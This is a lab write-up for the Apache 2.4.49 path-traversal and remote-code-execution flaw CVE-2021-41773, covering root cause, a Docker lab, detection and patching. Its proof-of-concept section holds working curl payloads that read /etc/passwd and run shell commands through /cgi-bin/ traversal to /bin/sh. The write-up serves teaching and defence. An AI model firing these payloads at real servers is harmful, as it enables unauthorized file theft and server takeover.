## https://sploitus.com/exploit?id=593DB687-DEDA-5D29-8337-B8F68CDBC3E9
# CVE-2021-41773 โ Apache HTTP Server 2.4.49 Path Traversal & RCE
A reproducible lab and writeup for the Apache HTTP Server 2.4.49 path-traversal
vulnerability. The whole thing runs locally with Docker Compose, and the exploit is
a single `curl` command.
---
## 1. Summary
Apache HTTP Server 2.4.49 introduced a flaw in how it normalises request paths. By
encoding the dots in a `../` sequence, an attacker can escape the directories the web
server is meant to serve and read arbitrary files on the host โ for example
`/etc/passwd`. On servers where the traversed directory is not locked down with the
default `Require all denied`, and where CGI is enabled, the same flaw can be escalated
to **remote code execution**. The bug affects **only version 2.4.49**, was exploited in
the wild within days of disclosure, and is listed in CISA's Known Exploited
Vulnerabilities catalog.
---
## 2. Vulnerability details (at a glance)
| Field | Value |
|---|---|
| **CVE ID** | CVE-2021-41773 |
| **CVSS 3.1 base score** | **9.8 Critical** (NIST) โ see note below |
| **CVSS 3.1 vector** | `CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H` |
| **CWE** | CWE-22 โ Improper Limitation of a Pathname to a Restricted Directory ("Path Traversal") |
| **Vulnerability class** | Path Traversal โ Arbitrary File Read โ (conditional) Remote Code Execution |
| **Affected product** | Apache HTTP Server **2.4.49** |
| **Fixed in** | 2.4.50 (found incomplete โ see CVE-2021-42013 โ fully fixed in **2.4.51**) |
| **Attack vector** | Network (`AV:N`) |
| **Privileges required** | None (`PR:N`) |
| **User interaction** | None (`UI:N`) |
| **Authentication needed** | No |
| **Disclosure date** | 2021-10-05 |
| **Credited to** | Ash Daulton and the cPanel Security Team (per the Apache advisory) |
| **CISA KEV listed** | Yes (added 2021-11-03) |
> **CVSS note โ a useful real-world wrinkle:** NVD currently shows **two** scores for this CVE.
> NIST rescored it to **9.8 Critical** (`.../C:H/I:H/A:H`) in February 2026 to account for the RCE
> path, while CISA's ADP scored the file-read-only impact at **7.5 High** (`.../C:H/I:N/A:N`). Same
> bug, different assumptions about impact โ worth understanding that CVSS is an interpretation, not
> an absolute. Always check the live NVD page for the current numbers.
---
## 3. Technical description (root cause)
Web servers must reject `../` in a URL so that a request can't climb out of the document
root. Apache does this during **path normalisation**. A code change in 2.4.49 altered that
logic: Apache would URL-decode `%2e` into a `.` **after** the traversal check had already
run, so a payload like `.%2e/` โ which decodes to `../` โ slipped through un-normalised.
Because the check and the decode happened in the wrong order, an attacker could stack these
encoded sequences to walk up the filesystem and map a URL to any file the Apache process
could read. Two conditions decide how bad it gets:
- If the target directory is served with `Require all granted` instead of the default
`Require all denied`, the traversed file is returned to the attacker (**arbitrary file read**).
- If CGI is enabled for the aliased path (e.g. `/cgi-bin/`), the attacker can traverse to an
interpreter such as `/bin/sh` and have Apache execute it with an attacker-controlled request
body (**remote code execution**).
The fix in 2.4.50 tried to address this but was incomplete (a second bypass, CVE-2021-42013,
was found almost immediately), so the real fix is 2.4.51.
---
## 4. Affected versions
- **Vulnerable:** Apache HTTP Server `2.4.49` only.
- **Not affected:** any version before 2.4.49.
- **Patched in:** `2.4.50` (incomplete), fully resolved in `2.4.51`.
---
## 5. Lab setup
**Prerequisites:** Docker and Docker Compose.
```bash
# From the repo root:
docker compose up -d # pulls httpd:2.4.49 and starts the lab
docker compose ps # confirm the container is running
```
You now have a vulnerable Apache 2.4.49 server listening on **http://localhost:8080**.
```bash
# When you're done:
docker compose down
```
> The `docker-compose.yml` in this repo pins the image to `httpd:2.4.49`, flips the filesystem
> root to `Require all granted` (mirroring the common misconfiguration that made this so
> exploitable), and enables the CGI modules for the optional RCE step. It's all self-contained โ
> there is no separate config file to edit.
---
## 6. Proof of concept (reproduction)
You can run everything at once with `bash poc/exploit.sh`, or step through it manually below.
### Step 1 โ Baseline
Confirm the server responds normally before doing anything malicious.
```bash
curl -s -o /dev/null -w "HTTP %{http_code}\n" http://localhost:8080/
```
Expect something like "HTTP 200" (or 403 on the default page)
```
HTTP 200
```
### Step 2 โ Path traversal (arbitrary file read)
Read `/etc/passwd` off the container's filesystem through the web server.
```bash
curl -s --path-as-is "http://localhost:8080/icons/.%2e/%2e%2e/%2e%2e/%2e%2e/etc/passwd"
```
- `--path-as-is` stops curl from collapsing the `../` before it sends the request.
- `.%2e` and `%2e%2e` both decode to `..` โ this is the encoding that defeats 2.4.49's
broken normalisation.
The /etc/passwd contents your lab returned should be similar (or the same):
```
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
...
```
Getting the contents of a file that lives far outside the web root proves the traversal works.
### Step 3 โ Remote code execution *(optional / advanced)*
If the CGI modules are enabled (they are, in this lab), the same flaw runs commands. Here we
execute `id`:
```bash
curl -s --path-as-is \
--data "echo Content-Type: text/plain; echo; id" \
"http://localhost:8080/cgi-bin/.%2e/%2e%2e/%2e%2e/%2e%2e/bin/sh"
```
The output should be the result of `id`:
```
uid=1(daemon) gid=1(daemon) groups=1(daemon)
```
The request traverses to `/bin/sh`, Apache treats it as a CGI script, and the POST body is
executed by the shell, arbitrary command execution as the Apache user.
---
## 7. Impact
An unauthenticated, network-based attacker with no user interaction can:
- **Read arbitrary files** the Apache process can access โ source code, configuration files,
credentials, private keys.
- **Execute arbitrary commands** on the host when CGI is enabled, leading to full server
compromise.
This was not theoretical: the bug was **exploited in the wild** within days of disclosure and
was subsequently leveraged in ransomware activity, which is why CISA added it to the Known
Exploited Vulnerabilities catalog with a mandated patch deadline.
---
## 8. Detection
Because the payload has to carry an encoded traversal, it stands out in logs.
- **Log signature:** access-log entries whose request path contains `%2e` alongside `../`
sequences โ e.g. `GET /cgi-bin/.%2e/%2e%2e/%2e%2e/%2e%2e/etc/passwd` โ especially when they
return `200`. Requests to `/cgi-bin/` that resolve to non-CGI system paths (`/etc/passwd`,
`/bin/sh`) are a strong indicator.
- **Detection idea:** a WAF/mod_security rule that decodes the URI and blocks any request whose
normalised path escapes the web root, or a SIEM query flagging URIs matching
`(\.|%2e){2}` traversal patterns against Apache. Run the exploit against your own lab and read
the container's access log (`docker compose logs apache`) to see exactly what to alert on.
---
## 9. Remediation
1. **Patch:** upgrade to Apache HTTP Server **2.4.51 or later**. Do not stop at 2.4.50 โ its fix
was incomplete (CVE-2021-42013).
2. **Interim mitigations** (if you truly can't patch immediately):
- Ensure the default `Require all denied` is set on the filesystem root (``).
- Disable CGI (`mod_cgi` / `mod_cgid`) if it isn't needed.
- Add a WAF rule blocking encoded traversal sequences.
---
## 10. References
- NVD โ https://nvd.nist.gov/vuln/detail/CVE-2021-41773
- Apache HTTP Server 2.4 vulnerabilities โ https://httpd.apache.org/security/vulnerabilities_24.html
- CWE-22 โ https://cwe.mitre.org/data/definitions/22.html
- CISA Known Exploited Vulnerabilities Catalog โ https://www.cisa.gov/known-exploited-vulnerabilities-catalog
- Follow-up (incomplete-fix) CVE-2021-42013 โ https://nvd.nist.gov/vuln/detail/CVE-2021-42013
---
## Disclaimer
This repository is for **educational and authorized security testing only**. The lab runs entirely
on your own machine inside an isolated container. Do not use these techniques against any system you
do not own or lack explicit written permission to test. The author assumes no liability for misuse.